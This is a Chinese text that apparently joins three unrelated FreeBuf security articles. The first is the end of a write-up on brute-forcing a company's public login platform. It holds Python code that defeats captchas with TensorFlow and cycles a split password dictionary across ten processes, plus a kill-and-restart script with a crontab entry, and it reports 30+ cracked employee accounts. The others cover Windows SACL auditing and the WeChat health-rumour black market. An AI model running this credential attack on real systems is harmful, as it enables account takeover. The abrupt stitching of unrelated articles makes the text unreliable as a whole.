经过测试,在正确的登录顺序下,发现服务器在登录post请求返回只会返回三种:{“error”:”验证码错误”}、{“success”:”/Default.aspx”}、{“error”:”用户名或密码错误”} 
如果在请求登录的时候,关联cookie的数据包没先执行第一步,即生成验证码,会返回{“error”:”验证码失效”}

2 模拟登录过程

由于cookie是验证码的关联因素,为了提高爆破效率实现多进程爆破(tensorflow使用多线程执行效率好低,具体原因不清楚,有经验的读者求分享解决方法),本文使用selenium的get_cookies()获取了10个不同会话生成的cookie, 
第一步,请求生成验证码,同时返回tensorflow识别的结果:

def get_valcode(cookie):
    import get_image as gi
    gi.get_captcha(cookie) #请求服务器生成验证码
    gi.image_aspect("valcode.png", 160, 60).change_aspect_rate().past_background().save_result("valcode.png")
    image = np.array(Image.open("valcode.png"))
    image = convert2gray(image)
    image = image.flatten() / 255  # 将图片一维化
    predict_text = crack_captcha(output, image)
    return predict_text

第二步,模拟登录的post请求,获取返回的结果,而后在另外一个文件中开启10个进程执行(把密文字典分割成10份)。

def brust_login(cookie):
    wp = q.popleft()
    try:
        loginid = wp.split(" >>>>>> ")[0]
        loginpass = wp.split(" >>>>>> ")[1]
        wppass = wp.split(" >>>>>> ")[2]
        loginpass = urllib.quote(loginpass)
        verifycode = get_valcode(cookie)
        tiptxt = get_login_info(loginid, loginpass, cookie, verifycode) #请求登录服务器
        if "用户名或密码错误" in tiptxt:
            print loginid,">>>>>>>>",wppass.strip(),": 密码错误"
            with open("notgoodpass.txt", "a+" as f:
                f.write(wp)
        elif "验证码错误" in tiptxt:
            q.appendleft(wp)
            print loginid, ">>>>>>>>", wppass.strip(), ": 验证码错误,需要重试!"
        elif "success" in tiptxt:
            print loginid, ">>>>>>>>", wppass.strip(), ": 正确的密码来了!"
            with open("goodpass.txt", "a+") as f:
                f.write(wp)
        elif "验证码失效" in tiptxt:
            q.append(wp)
            print loginid, ">>>>>>>>", wppass.strip(), ": 验证码失效,执行有误!"
        else:
            print tiptxt
    except Exception,e:
        print str(e)

至此,自动化爆破A平台的目的达到了,但是在执行过程中,可能是因为使用了tensorflow的原因,在刚开始的时候还能顺利地进行爆破,大概一两个小时后,爆破效率急剧下降,甚至停住。于是本文把执行过程中密码错误的记录写入文件,然后写了一个sh脚本(先清除执行过的记录,重新运行爆破的python脚本),命名为run.sh:

ps -ef|grep python|awk '{print $2}'|xargs kill -9sh /root/delrunpass.sh
nohup sh/root/runbrust.sh&

设置系统的crontab定时任务,每隔50分钟执行一次这个脚本。 

*/50 * * * * sh /root/run.sh

七、总结

在本文所涉及到的200名员工中,60多万条记录中最终爆破出30多名员工存在弱口令问题,历时5天。可想在企业中普遍存在弱口令问题,而且A平台是对外开放的,影响极为严重。 
关于这次的爆破过程,还有好多待改进的地方。tensorflow虽然识别效率高,但是随着时间的推移执行效率急剧下降,本文最终使用了一种治标不治本的方法顺利完成爆破。如果有经验的读者对tensorflow的稳定执行有所探索,还望留言交流。

参考链接: 

对登录中账号密码进行加密之后再传输的爆破的思路和方式 

基于TensorFlow识别Captcha库验证码图文教程

*本文原创作者:shystartree,本文属FreeBuf原创奖励计划,未经许可禁止转载

*本文原创作者:“无。”,本文属FreeBuf原创奖励计划,未经许可禁止转载

SACL(System Access Control List),和DACL(Discretionary Access Control List)一样,是访问控制列表(ACL)的一类。利用SACL,我们可以记录系统中对特定安全对象的访问细节,如访问时间、访问类型和访问进程等信息。本文将以文件为例,阐述该如何利用SACL实现对安全对象的访问审核。

DACL和SACL

SACL(System Access Control List),和DACL(Discretionary Access Control List)一样,是访问控制列表(ACL)的一类。ACL在Windows的访问控制中起到了非常重要的作用。我在此借用ondrej uzovic的图片来阐述ACL在Windows安全模型中的作用。

WindowsSecurityModel.png

DACL

DACL相信大家已经很熟悉了,它由多个条目组成(Access Control Entry, ACE),每个ACE代表着某SID(Security Identifier)对于目标安全对象有着怎样的权限。我们可以在一个文件上通过右键-属性-安全-高级来直观地查看其对应的DACL,如下所示。

DACL.png

DACL中的ACE可以设置为两种模式,允许模式和阻止模式。顾名思义,允许模式的ACE就是指若SID的操作匹配了本条ACE,则运行此次访问;而SID的操作若匹配上了阻止模式的ACE,则此次访问就会被拒绝。也因为此,ACE的先后顺序很重要,系统在找到匹配的ACE之后将不会再检查后续的ACE。一般地,阻止模式的ACE将排在前面。

SACL

相比于DACL,SACL受重视的程度似乎要低很多,但其实它对于操作系统也也一样重要。根据MSDN的解释,‘SACL可以赋予管理员记录对安全对象访问尝试的能力’。SACL和DACL在总体上是很相似的,它同样是由ACE组成,并且每条ACE也对应着一个SID。不同的是,SACL中的ACE并不进行权限的控制,而是对应着审计规则。是当一个主体尝试访问该安全对象时,若该主体的操作匹配了SACL中定义的规则,操作系统会生成一个事件,并对这次访问动作做出记录。根据ACE中不同的配置,操作系统可以有选择的去记录那些失败的访问尝试,或者记录成功的访问,当然也可以无论成功与否都进行记录。

可以看到,SACL向我们提供了强大的安全审计功能。本文将仅仅以文件系统的审核作为例子,但是SACL完全可以被用来打造一个终端入侵检测系统。

创建SACL

要使用SACL的审计功能,我们需要创建合适的SACL。我们可以通过Powershell脚本进行大规模的SACL部署,不过为了方便理解,本文还是直接在图形界面上进行相关操作。

选择安全对象

选择你想要进行审计的安全对象。例如,本文直接在桌面上建立了一个名为’TopSecret.txt’的文件。

进入审核选项卡

在’TopSecret.txt’上点击右键,依次选择属性-安全-高级,然后在弹出的界面中选择’审核’选项卡,如下所示:

audit.png添加ACE

在’审核’选项卡中选择’添加’。在弹出的’选择用户或组’中填入Everyone, 依次单击’检查名称’和’确定’。

SetSID.png

在新出现的窗口中分别选中’成功’和’失败’两列中的’完全控制’, 剩下的内容会被自动全选,如下。

最后在所有的窗口中选择’确定’以应用修改。这样我们就创建了一个SACL,它将审核系统中任何人对于该文件的任意操作。

打开文件系统审计功能

操作系统的文件系统审计功能是默认关闭的。为了使用SACL进行文件系统方面的审计,我们需要打开此功能。用以下步骤可以打开文件系统审计。

win+r, 运行’secpol.msc’. 

secpol.png

双击底部的’高级审核策略配置’, 然后依次双击’系统审核策略-本地组策略对象’-'对象访问’, 在右边的窗口中双击’审核文件系统’。并在弹出的窗口中依次勾选’配置以下审核事件’、’成功’、’失败’。

audit policy.png

最后确认所有的窗口以应用更改。

查询审计结果

上述操作完成后有关SACL的配置就结束了。我们接下来可以对TopSecret.txt文件进行一些操作,例如用各种不同的软件打开,或者进行删除。操作系统会自动记录我们的操作,并生成相应的事件记录在Windows中。

我们可以通过Windows事件查看器查询这些事件。首先,我们通过win+r, 运行eventvwr.exe打开事件查看器。然后在左侧选择’Windows’日志-’安全’选项卡。然后在右侧的事件列表中随意翻阅一下就能很容易地找到对应事件了。

eventviewer.png

若事件列表过于庞大,你也可以通过事件ID来更方便的查找对应事件。本例的文件系统审核对应着事件ID 4663。

我们可以双击某事件查看细节。从图中可以清晰地看到文件名,文件被访问的时间以及访问的进程。

details.png

我们还可以将该事件绑定到系统的计划任务,这样当事件发生时,我们可以自动地进行一些处理,例如杀掉读取文件的进程等等。可以通过最右边的’将任务附加到此事件’按钮完成这个操作。文本用一个弹框作为例子:

prompt.png

总结

SACL向我们提供了强大的审核功能,可以被用来记录安全对象的访问信息。除了本文举例的文件系统审核之外,利用SACL还可以审核对注册表、内核对象、系统句柄等安全对象的各种访问。希望本文对SACL的简介可以激发读者对它的兴趣,而进行更深入的研究。

*本文原创作者:“无。”,本文属FreeBuf原创奖励计划,未经许可禁止转载

偶然看到一个朋友圈拉黑TOP10,微商、毒鸡汤、晒娃、拉票……这些都能理解,直到看到父母朋友圈。父母朋友圈被拉黑屏蔽率,竟然仅次于微商,鸡汤、晒娃与拉票,排名第五。而这背后,究竟隐藏着怎样的秘密,我们希望这篇文章,能够帮助父母,逃出大家设置的微信黑名单……

朋友圈可能变“谣言圈”?

自从2012年4月19日微信朋友圈功能上线后,小小社交圈建立起来,谣言也随之而来。 养生伪科学是我们受其迫害最为严重的一股黑产势力,在2015年,中山大学联合微信官方发布网络谣言报告,微信每天收到用户发起的谣言举报就有3万次,日均谣言拦截量达到2,100,000次。更有甚者,出现在权威媒体上,上演“李鬼”上位的闹剧!

中山大学.jpg

中山大学“舆情研判分析和应对的综合体系”

“伪科学”主要是指一切宣称科学、或描述方式看起来像科学,但实际上并不符合科学方法基本要求的知识,缺乏支持证据的所谓理论和假设。 在朋友圈中,“养生伪科学”主要指广泛传播的关于养生健康的“伪科学”

中山大学2.jpg

而这“养生伪科学”爆款文其实并不是什么新鲜玩意,在互联网兴起之前,他们诞生在三流情感杂志,报纸中缝广告以及午夜FM。他们跟进互联网热潮,高举互联网+旗帜,抱紧微信大腿儿,摇身一变,成为父母朋友圈里绝对的权威。

朋友圈.jpg

“养生”朋友圈

 10万+爆款文供养出的黑色产业链

黑产链条.jpg

黑产链条

 来源

“养生伪科学”的内容来自于国外“替代医学”信息借鉴和国内健康相关研究信息的部分抓取和放大。

首先 “替代医学”(alternative medicine),也叫替代疗法,指任何声称产生医疗效果,但并非源于科学方法收集证据的医疗实践。

替代医学.jpg

“替代医学”

可以看出,替代医学与国内部分未完全科学确定的诊疗方式有很多相似甚至共通之处。

我们暂不讨论此种方法的治疗效果,令人担心的是这些替代疗法本身的不确定性,而在“养生文”中相关资料仅为截取部分对其营销有利的点,这样一来整个养生信息的参考价值就更低,甚至在内容准确度上出现严重偏差。

徒手整形.jpg徒手整形???

第二种是国内健康研究信息的部分截取和放大。比如“一味中药48小时杀死98%癌细胞”、“每天吃一斤菠菜可补充铁”。

大数据造假

准备好了文章来源后,大数据造假上场。各大自媒体进行内容输出之外,还有很多医药公司会请写手,门槛并不高。在各平台搜索“养生文章征稿“可以发现不少“养生科普类”征稿的群组。

征稿.jpg“养生文”征稿

征稿信息中内容多以二次洗稿为主,对专业没有任何要求,稿费水平不高,基本在千字100元以内,这样写出来的“养生科普文”是否能够做到“科普“我们也就不得而知了…

洗稿.jpg

洗稿

在观察相关“健康养生“类文章之后,我们发现此类文章的阅读量非常高,相关刷阅读量的群也不在少数

刷阅读量群.jpg

刷阅读量群组

潜入其中一个群后了解了一下黑产市场的基本定价,大概都在25-40元左右1000个阅读量。

刷阅读量群2.jpg

35元1000阅读量

除了在黑产市场购买阅读量之外,还有部分平台用户代刷阅读量可以换钱,这种方式近几年腾讯官方打击比较严重。

 黑产变现

最后就是变现。目前此类文章变现的主要渠道还是产品推广,类似部分三无保健品生产商、医药公司、三流医院等。

三无.jpg

三无产品推广

以及周边获利的方式,比如卖书、卖课程、线下活动获利。

买课.jpg

售卖“课程”

还有就是流量变现,通过转发或者将导流其他平台来获取收益,拥有一万粉丝量的微信号转发一条食品安全谣言的价格为150~300元,个人转发一次可以获得5毛钱的收入。更有甚者导流平台是赌博网站或者涉黄平台,与健康养生完全无关。

安全谣言.jpg

转发带来灰色收入

比如starry在查找相关公众号时发现其部分变现渠道,真是不看不知道,一看吓一跳…我关注公众号后,看到下方有“签到领话费”

公众号底部.jpg

点击进去后出现推文页面,顺着指引我们点开“阅读原文”

微电话.jpg

出现输入手机号码的页面,当号码输入完毕后,页面提醒我们可以“免费拨打电话“了。

微电话2.jpg

于是我尝试着拨打了隔壁Magiccc的电话,出现了下面让我们注意接听来电的提示,并出现“接通电话后即可与对方进行通话连接”等所谓的“温馨提示”…此时我的手机并未出现任何接通成功的页面,相反进来了一个陌生号码,接通后语音告诉我“对方暂时无法接通”。

父母朋友圈里的“养生伪科学”爆款文,竟然养活了一条黑色产业链

而这整个过程中,Magiccc并没有接到我拨出的电话,相反有几个垃圾电话迅速打过来。而这时候很可能不仅我的微信号和手机号被窃取Magiccc的手机号码也已经遭到窃取…

回顾整个过程,黑产可谓是步步为营,从开始将“免费”作为噱头,到后面要求输入双方手机号码,最终营销电话的迅速进入都让人猝不及防,随即掉入陷阱中…

阅读原文1.jpg

除了隐私泄露之外,还有很多“养生科普“公众号在“阅读原文”这里做足了手脚,点击“阅读原文”后“养生信息”突然变成了这些东西…

电影网站.jpg

“非正常电影网站”

电影2.jpg

就这样黑产也将流量导入无法确定安全性的观影网站和色情网站…一篇十万+的文章转发一次附带广告性质的文章可获得3万元左右的灰色收入

父母朋友圈里的“养生伪科学”爆款文,竟然养活了一条黑色产业链

而此类公众号基本处于日更5篇的频率,这样算来一年仅广告收入就超过 50,000,000元!这只是其中变现的一种手段,后面黑产暴利的程度简直不堪设想…

榨干钱财,疏远家庭距离

顶着“健康”的名号却严重影响着我们的健康和生活,尤其是目前此类“健康养生”文章的主要受众是中老年人,在以熟人关系建立的朋友圈中肆意传播,其带来的危害和损失难以估量…

一方面,这样的所谓“科普”信息不仅没有达到科普的目的,反而严重影响我们尤其中老年人对于健康常识的认知。更有甚者危及亲人的生命健康。

危害.jpg

“养生爆文”背后的悲剧

另一方面当父母家人转发此类文章,我们经常既生气又无计可施,只能这样回复…

对话.jpg对话2.jpg

最常见的“对话”

根据腾讯《朋友圈年度亲情白皮书》报告显示,52%的子女屏蔽父母朋友圈。

屏蔽朋友圈.jpg

部分子女选择屏蔽父母朋友圈

但是对于信息渠道较少、辨别能力弱的老人来说,这类文章正是抓住了他们关心健康的心理,转发给子女亲人也是老人关心家人想要亲近我们的表现,如何既能向父母辟谣又能让他们开心是件我们需要认真思考的…. 

帮助父母远离“养生伪科学”

现在是信息泛滥的时代,每天都有数以万亿计的信息全方位向我们砸来,对于“养生伪科学”的鉴别,不光我们自己需要做好,更紧迫的是帮助父母去建立质疑、鉴别、求证的意识。

相关政府监督部门和网络服务提供商应当不断完善辟谣机制,培育广大网络参与者的责任意识以及媒介素养。 

微信官方对于谣言的监察制度应当更加完善,避免出现谣言“越传越真”的情况。在“举报”和惩罚机制方面明细化,适当给出“警告”、“封号”等举措来打击传谣者。

作为子女的我们和父母多些沟通,多些耐心,引导父母科学养生。父母自身应当树立科学观念,常存“质疑”于心,多听取正规医院养生建议,健康生活。

附上两个谣言查询途径: 

1.中国食品辟谣网

2. 微信辟谣助手(小程序)

*本文作者:GEETEST极验,转载请注明来自 FreeBuf.COM